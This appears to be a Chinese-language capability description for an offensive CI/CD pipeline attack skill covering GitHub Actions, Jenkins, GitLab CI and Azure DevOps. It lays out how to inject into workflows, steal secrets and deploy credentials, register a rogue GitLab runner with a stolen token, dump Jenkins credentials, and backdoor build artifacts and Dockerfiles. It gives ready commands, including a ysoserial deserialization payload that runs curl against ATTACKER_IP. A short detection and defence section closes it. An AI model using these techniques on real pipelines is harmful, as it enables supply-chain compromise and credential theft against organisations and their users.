该技能聚焦 CI/CD 流水线的攻击性利用:流水线在受信任上下文中运行代码、持有部署凭据并能修改生产制品,因此是高价值目标。内容覆盖 GitHub Actions、Jenkins、GitLab CI、Azure DevOps 四个平台,对应 MITRE ATT&CK T1195.002。
用途与能力:枚举仓库与流水线配置(.github/workflows/、Jenkinsfile、.gitlab-ci.yml、azure-pipelines.yml);识别触发模型与攻击者可控输入;映射令牌作用域与可用机密;按访问级别选择注入点;按目标平台表达式或脚本引擎构造载荷;执行并窃取机密、令牌或篡改制品;再用窃取的凭据横向扩展。
GitHub Actions:利用 ${{ }} 表达式注入,常见来源为 PR 标题、issue 正文、分支名与提交信息流入 run: 步骤;用 grep 搜索 github.event.* 插值点;关注 workflow_run 滥用(在默认分支上下文处理 PR 制品)与未按 SHA 固定的 composite action 供应链风险。示例枚举命令:gato enumerate -t ghp_TOKENHERE -r org/repo;gato search -t ghp_TOKENHERE -o target-org -sg。
Jenkins:脚本控制台 Groovy RCE、沙箱逃逸、remoting 端口(默认 50000)Java 反序列化、@Library 共享库投毒。示例:nmap -sV -p 50000 TARGET_IP;java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER_IP/pwned' > payload.bin;python3 jaf.py --url https://jenkins.target.com --enumerate,--dump-creds、--exec "whoami" --node "linux-build-01"。
GitLab CI:fork 合并请求触发攻击者 .gitlab-ci.yml 在目标 runner 执行;runner 注册令牌滥用注册流氓 runner;通过 API 提取项目、组、实例级 CI 变量;利用 MR 流水线与受保护分支的信任边界差异。示例:gitlab-runner register --non-interactive --url "https://gitlab.target.com/" --registration-token "GR1348941_STOLEN_TOKEN" --executor "shell" --description "build-node-07" --tag-list "docker,linux,build,deploy" --run-untagged="true"。
Azure DevOps:自托管代理状态持久化导致凭据残留、服务连接凭据窃取(AzureCLI@2 任务与 az account get-access-token)、PAT 调用 REST API 提取变量组与服务终结点。
制品投毒:在构建到部署交接处篡改制品,如向前端产物追加命令、污染共享缓存、修改 Jenkins stash 文件、在 Dockerfile 注入后门层。
检测要点:监控工作流文件改动、异常 runner 注册、机密访问模式、表达式注入特征(PR 标题中的 shell 元字符)、构建制品哈希不一致、令牌越权调用、Jenkins 审计日志、构建时长异常与 runner 异常外联。防御控制包括将 Actions 固定到完整 commit SHA、限制 pull_request_target、使用临时 runner、采用 OIDC 替代长期凭据。
限制:资料未提供具体工具的安装与授权要求、各平台版本适用范围、成功前提与合规说明,暂未提供。